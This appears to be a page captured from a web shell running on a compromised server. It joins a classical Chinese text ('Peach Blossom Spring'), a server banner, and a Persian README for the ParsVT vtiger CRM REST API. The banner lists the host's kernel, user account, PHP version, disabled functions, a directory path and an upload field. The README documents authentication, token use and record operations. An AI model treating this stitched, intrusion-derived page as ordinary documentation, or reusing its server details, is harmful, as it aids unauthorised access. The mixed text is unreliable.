晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/akaindir/www/crm/modules/ParsVT/lib/ws/ |
Upload File : |
# وب سرویس Rest پارس ویتایگر نسخه 1
به شما امکان می دهد با CRM خود با استفاده از Rest API ارتباط برقرار کنید.
## ویژگی ها
- ایجاد ، دریافت ، به روزرسانی و حذف رکوردها (CRUD)
- دریافت لیستی از رکوردها با استفاده از صفحه بندی
- امکان تعریف مقادیر جهت دریافت لیستی از رکوردها
- دریافت مقادیر فهرست های انتخابی
- آپلود سند
- کارکرد صحیح با ماژول های مرتبط با انبار (فاکتور، پیش فاکتور، سفارش خرید/فروش)
## نحوه استفاده
شما به راحتی می توانید با CRM خود را با استفاده از پروتکل REST و متدهای زیر ارتباط برقرار کند.
**GET:** احراز هویت کاربر / دریافت اطلاعات یک رکورد یا لیستی از رکوردها / دریافت مقادیر فهرست انتخابی
**POST:** افزودن یک رکورد
**PUT:** بروزرسانی یک رکورد
**DELETE:** حذف یک رکورد
## دانلود نمونه کد فراخوانی وب سرویس به زبان PHP
برای استفاده از نمونه کد در زبان PHP کافیست فایل فشرده که حاوی کتابخانه client وب سرویس و نمونه کد جهت اتصال میباشد را [__دانلود__](index.php?module=ParsVT&view=Misc&downloadWebService=true) و از حالت فشرده خارج نموده و در کنار کدهای خود قرار دهید.
[](index.php?module=ParsVT&view=Misc&downloadWebService=true)
### احراز هویت
جهت ارتباط با CRM شما باید ابتدا احراز هویت شوید.
2 روش برای ورود یک کاربر وجود دارد:
1. __ورود با نام کاربری و کلمه ورود__
```
http://yourcrm.com/modules/ParsVT/ws/auth/LOGIN/PASSWORD
یا
http://yourcrm.com/modules/ParsVT/ws/index.php?module=Auth&login=LOGIN&password=PASSWORD
```
*LOGIN و PASSWORD را با اطلاعات ورود کاربر مورد نظر خود جایگزین کنید.*
2. __با استفاده از کلید دسترسی__
```
http://yourcrm.com/modules/ParsVT/ws/auth/USER_ACCESS_KEY
یا
http://yourcrm.com/modules/ParsVT/ws/index.php?module=Auth&key=USER_ACCESS_KEY
```
*مقدار USER_ACCESS_KEY را با کلید دسترسی ایجاد شده در پروفایل کاربر جایگزین نمایید.*

**نتیجه:**
```
{"success":true,"result":"f7171f3d8e13326762a45641c2dd1e39"}
//Token: f7171f3d8e13326762a45641c2dd1e39
```
شما باید از کلید توکن (token) ایجاد شده در فراخوانی متدهای بعدی استفاده کنید
*نکته: با استفاده از ایم روش ACL ویتایگر رعایت می شود *
### دریافت اطلاعات (GET)
شما باید از توکن ایجاد شده در مرحله احرازهویت برای تمام فراخوانی ها استفاده نمایید
در مثال های پایین مااز ماژول سازمان ها استفاده کردیم اما شما می توانید از این متدها در تمامی ماژول ها استفاده نمایید
#### دریافت لیست رکوردها
```
http://yourcrm.com/modules/ParsVT/ws/Accounts/f7171f3d8e13326762a45641c2dd1e39
یا
http://yourcrm.com/modules/ParsVT/ws/index.php?module=Accounts&token=f7171f3d8e13326762a45641c2dd1e39
```
نتیجه:
```
{"success":true,"result":[{"accountname":"MEDIA 3+","account_no":"ACC1","phone":"","website":"","fax":"","tickersymbol":"","otherphone":"","account_id":"0","email1":"","employees":"0","email2":"","ownership":"","rating":"","industry":"","siccode":"","accounttype":"","annual_revenue":"0.00000000","emailoptout":"0","notify_owner":"0","assigned_user_id":"1","createdtime":"2016-10-28 14:40:37","modifiedtime":"2017-09-04 09:29:15","modifiedby":"1","bill_street":"34 all\u00e9e des Fr\u00eanes","ship_street":"34 all\u00e9e des Fr\u00eanes","bill_city":"Champs sur Marne","ship_city":"Champs sur Marne","bill_state":"","ship_state":"","bill_code":"77420","ship_code":"77420","bill_country":"France","ship_country":"France","bill_pobox":"","ship_pobox":"","description":"","campaignrelstatus":"","isconvertedfromlead":"0","record_id":"3","record_module":"Accounts","api_date_now":"2017-09-04 09:29:22"},{"accountname":"ParsVT","account_no":"ACC2","phone":"","website":"www.parsvt.com","fax":"","tickersymbol":"","otherphone":"","account_id":"0","email1":"","employees":"0","email2":"","ownership":"","rating":"","industry":"","siccode":"","accounttype":"","annual_revenue":"0.00000000","emailoptout":"0","notify_owner":"0","assigned_user_id":"1","createdtime":"2017-09-04 09:28:27","modifiedtime":"2017-09-04 09:28:27","modifiedby":"1","bill_street":"","ship_street":"","bill_city":"","ship_city":"","bill_state":"","ship_state":"","bill_code":"","ship_code":"","bill_country":"","ship_country":"","bill_pobox":"","ship_pobox":"","description":"","campaignrelstatus":"","isconvertedfromlead":"0","record_id":"24","record_module":"Accounts","api_date_now":"2017-09-04 09:29:22"}]}
```
#### دریافت لیست رکوردها با استفاده از صفحه بندی
شما می توانید جهت دریافت رکورد ها از صفحه بندی در API استفاده نمایید. به صورت پیش فرض تنها 100 رکورد اول نمایش داده می شوند.
شما می توانید از پارامترهای ```start```، ```length``` و ```order```جهت مدیریت صفحه بندی استفاده نمایید.
```
http://yourcrm.com/modules/ParsVT/ws/Accounts/start/0/length/2/order/vtiger_account.accountname%20DESC/f7171f3d8e13326762a45641c2dd1e39
یا
http://yourcrm.com/modules/ParsVT/ws/index.php?module=Accounts&start=0&length=2&order=vtiger_account.accountname%20DESC&token=f7171f3d8e13326762a45641c2dd1e39
```
نتیجه:
```
{"success":true,"result":[{"accountname":"ParsVT","account_no":"ACC2","phone":"","website":"www.parsvt.com","fax":"","tickersymbol":"","otherphone":"","account_id":"0","email1":"","employees":"0","email2":"","ownership":"","rating":"","industry":"","siccode":"","accounttype":"","annual_revenue":"0.00000000","emailoptout":"0","notify_owner":"0","assigned_user_id":"1","createdtime":"2017-09-04 09:28:27","modifiedtime":"2017-09-04 09:28:27","modifiedby":"1","bill_street":"","ship_street":"","bill_city":"","ship_city":"","bill_state":"","ship_state":"","bill_code":"","ship_code":"","bill_country":"","ship_country":"","bill_pobox":"","ship_pobox":"","description":"","campaignrelstatus":"","isconvertedfromlead":"0","record_id":"24","record_module":"Accounts","api_date_now":"2017-09-04 10:14:38"},{"accountname":"MEDIA 3+","account_no":"ACC1","phone":"","website":"","fax":"","tickersymbol":"","otherphone":"","account_id":"0","email1":"","employees":"0","email2":"","ownership":"","rating":"","industry":"","siccode":"","accounttype":"","annual_revenue":"0.00000000","emailoptout":"0","notify_owner":"0","assigned_user_id":"1","createdtime":"2016-10-28 14:40:37","modifiedtime":"2017-09-04 09:29:15","modifiedby":"1","bill_street":"34 all\u00e9e des Fr\u00eanes","ship_street":"34 all\u00e9e des Fr\u00eanes","bill_city":"Champs sur Marne","ship_city":"Champs sur Marne","bill_state":"","ship_state":"","bill_code":"77420","ship_code":"77420","bill_country":"France","ship_country":"France","bill_pobox":"","ship_pobox":"","description":"","campaignrelstatus":"","isconvertedfromlead":"0","record_id":"3","record_module":"Accounts","api_date_now":"2017-09-04 10:14:38"}]}
```
#### جستجو در لیست رکوردها
افزودن پارامتر و معیارهای دلخواه به دستور SQL، با جداکردن آنها توسط نقطه ویرگول(;) جهت دستیابی به رکوردهای مورد نظر.
استفاده از یک معیار : ```table.column:value```
استفاده از چند معیار : ```table.column1:value1;table.column2:value2;...;table.columnN:valueN```
```
http://yourcrm.com/modules/ParsVT/ws/Accounts/criteria/vtiger_account.accountname:ParsVT;vtiger_account.website:www.parsvt.com/f7171f3d8e13326762a45641c2dd1e39
یا
http://yourcrm.com/modules/ParsVT/ws/index.php?module=Accounts&criteria=vtiger_account.accountname:ParsVT;vtiger_account.website:www.parsvt.com&token=f7171f3d8e13326762a45641c2dd1e39
```
نتیجه:
```
{"success":true,"result":[{"accountname":"ParsVT","account_no":"ACC2","phone":"","website":"www.parsvt.com","fax":"","tickersymbol":"","otherphone":"","account_id":"0","email1":"","employees":"0","email2":"","ownership":"","rating":"","industry":"","siccode":"","accounttype":"","annual_revenue":"0.00000000","emailoptout":"0","notify_owner":"0","assigned_user_id":"1","createdtime":"2017-09-04 09:28:27","modifiedtime":"2017-09-04 09:28:27","modifiedby":"1","bill_street":"","ship_street":"","bill_city":"","ship_city":"","bill_state":"","ship_state":"","bill_code":"","ship_code":"","bill_country":"","ship_country":"","bill_pobox":"","ship_pobox":"","description":"","campaignrelstatus":"","isconvertedfromlead":"0","record_id":"24","record_module":"Accounts","api_date_now":"2017-09-04 09:47:16"}]}
```
#### دریافت یک رکورد با استفاده از شناسه رکورد (CRMID)
در مثال زیر اطلاعات یک سازمان با شناسه رکورد 3 انتخاب می گردد
```
http://yourcrm.com/modules/ParsVT/ws/Accounts/3/f7171f3d8e13326762a45641c2dd1e39
یا
http://yourcrm.com/modules/ParsVT/ws/index.php?module=Accounts&id=3&token=f7171f3d8e13326762a45641c2dd1e39
```
نتیجه:
```
{"success":true,"result":{"accountname":"MEDIA 3+","account_no":"ACC1","phone":"","website":"","fax":"","tickersymbol":"","otherphone":"","account_id":"0","email1":"","employees":"0","email2":"","ownership":"","rating":"","industry":"","siccode":"","accounttype":"","annual_revenue":"0.00000000","emailoptout":"0","notify_owner":"0","assigned_user_id":"1","createdtime":"2016-10-28 14:40:37","modifiedtime":"2017-09-04 09:29:15","modifiedby":"1","bill_street":"34 all\u00e9e des Fr\u00eanes","ship_street":"34 all\u00e9e des Fr\u00eanes","bill_city":"Champs sur Marne","ship_city":"Champs sur Marne","bill_state":"","ship_state":"","bill_code":"77420","ship_code":"77420","bill_country":"France","ship_country":"France","bill_pobox":"","ship_pobox":"","description":"","campaignrelstatus":"","isconvertedfromlead":"0","record_id":"3","record_module":"Accounts","api_date_now":"2017-09-04 09:53:04"}}
```
#### دریافت مقادیر فهرست انتخابی
شما می توانید مقادیر فهرست انتخابی یک فیلد در یک ماژول را دریافت نمایید
برای این منظور به سادگی نام ماژول و نام فیلد فهرست انتخابی را وارد نمایید
```
http://yourcrm.com/modules/ParsVT/ws/Accounts/picklist/rating/f7171f3d8e13326762a45641c2dd1e39
یا
http://yourcrm.com/modules/ParsVT/ws/index.php?module=Accounts&picklist=rating&token=f7171f3d8e13326762a45641c2dd1e39
```
نتیجه:
```
{"success":true,"result":{"values":{"Acquired":"Acquired","Active":"Actif","Market Failed":"Market Failed","Project Cancelled":"Project Cancelled","Shutdown":"Shutdown"}}}
```
همچنین شما میتوانید به سادگی روابط بین فهرست های انتخابی را در صورت وجود دریافت کنید برای این منظور تنها کافیست پارامتر ```&picklistdep=1``` را اضافه نمایید
```
http://yourcrm.com/modules/ParsVT/ws/Accounts/picklist/rating/picklistdep/1/f7171f3d8e13326762a45641c2dd1e39
یا
http://yourcrm.com/modules/ParsVT/ws/index.php?module=Accounts&picklist=rating&picklistdep=1&token=f7171f3d8e13326762a45641c2dd1e39
```
نتیجه:
```
{"success":true,"result":{"values":{"Acquired":"Acquired","Active":"Actif","Market Failed":"Market Failed","Project Cancelled":"Project Cancelled","Shutdown":"Shutdown"},"dependencies":{"Acquired":{"accounttype":["Customer","Integrator","Investor","Partner","Press","Prospect","Reseller","Other"]},"__DEFAULT__":{"accounttype":["Analyst","Competitor","Customer","Integrator","Investor","Partner","Press","Prospect","Reseller","Other"]},"Active":{"accounttype":["Analyst","Competitor","Investor","Partner","Press","Prospect","Reseller","Other"]},"Market Failed":{"accounttype":["Analyst","Competitor","Customer","Integrator","Press","Prospect","Reseller","Other"]},"Project Cancelled":{"accounttype":["Analyst","Competitor","Customer","Integrator","Investor","Partner","Reseller","Other"]},"Shutdown":{"accounttype":["Analyst","Competitor","Customer","Integrator","Investor","Partner","Press","Prospect"]}}}}
```
### افزودن رکورد (POST)
شما باید از توکن ایجاد شده در مرحله احرازهویت برای تمام فراخوانی ها استفاده نمایید
در مثال های پایین مااز ماژول سازمان ها استفاده کردیم اما شما می توانید از این متد در تمامی ماژول ها استفاده نمایید
برای ایجاد یک رکورد جدید شما باید همه فیلدهای ستاره دار و الزامی را تکمیل نمایید، وارد کرد سایر فیلد های عادی الزامی نمی باشد
برای استفاده از یک فیلد شما باید از نام فیلد fieldname استفاده نمایید (این نام در جدول vtiger_field قابل مشاهده می باشد).
```
آدرس:
http://localhost/vtiger6.5/modules/ParsVT/ws/Accounts/f7171f3d8e13326762a45641c2dd1e39
یا
http://yourcrm.com/modules/ParsVT/ws/index.php?module=Accounts&token=f7171f3d8e13326762a45641c2dd1e39
اطلاعات جهت ارسال:
accountname=ParsVT&email1=parsvtiger@gmail.com&phone=+989138086200&bill_street=100 street beta test\r\nBat. B&bill_code=34000&bill_city=Montpellier&bill_country=France
```
نتیجه:
```
{"success": true,"result": 25}
//25 is the ID of the new created entity
```
### بروزرسانی یک رکورد (PUT یا POST)
شما باید از توکن ایجاد شده در مرحله احرازهویت برای تمام فراخوانی ها استفاده نمایید
در مثال های پایین مااز ماژول سازمان ها استفاده کردیم اما شما می توانید از این متد در تمامی ماژول ها استفاده نمایید
برای بروزرسانی یک رکورد ، باید شناسه آن (crmid) و مقادیر فیلدهای مورد نظر برای بروزرسانی را مشخص کنید.
برای استفاده از یک فیلد شما باید از نام فیلد fieldname استفاده نمایید (این نام در جدول vtiger_field قابل مشاهده می باشد).
```
آدرس:
http://localhost/vtiger6.5/modules/ParsVT/ws/Accounts/25/f7171f3d8e13326762a45641c2dd1e39
یا
http://yourcrm.com/modules/ParsVT/ws/index.php?module=Accounts&id=25&token=f7171f3d8e13326762a45641c2dd1e39
اطلاعات جهت ارسال:
accountname=ParsVT&email1=parsvtiger@gmail.com
```
نتیجه:
```
{"success": true,"result": 25}
//25 is the ID of the updated entity
```
### حذف یک رکورد (DELETE)
شما باید از توکن ایجاد شده در مرحله احرازهویت برای تمام فراخوانی ها استفاده نمایید
در مثال های پایین مااز ماژول سازمان ها استفاده کردیم اما شما می توانید از این متد در تمامی ماژول ها استفاده نمایید
برای حذف یک رکورد شما باید آی دی رکورد را مشخص نمایید
```
http://yourcrm.com/modules/ParsVT/ws/Accounts/25/f7171f3d8e13326762a45641c2dd1e39
یا
http://yourcrm.com/modules/ParsVT/ws/index.php?module=Accounts&id=25&token=f7171f3d8e13326762a45641c2dd1e39
```
نتیجه:
```
{"success": true,"result": true}
```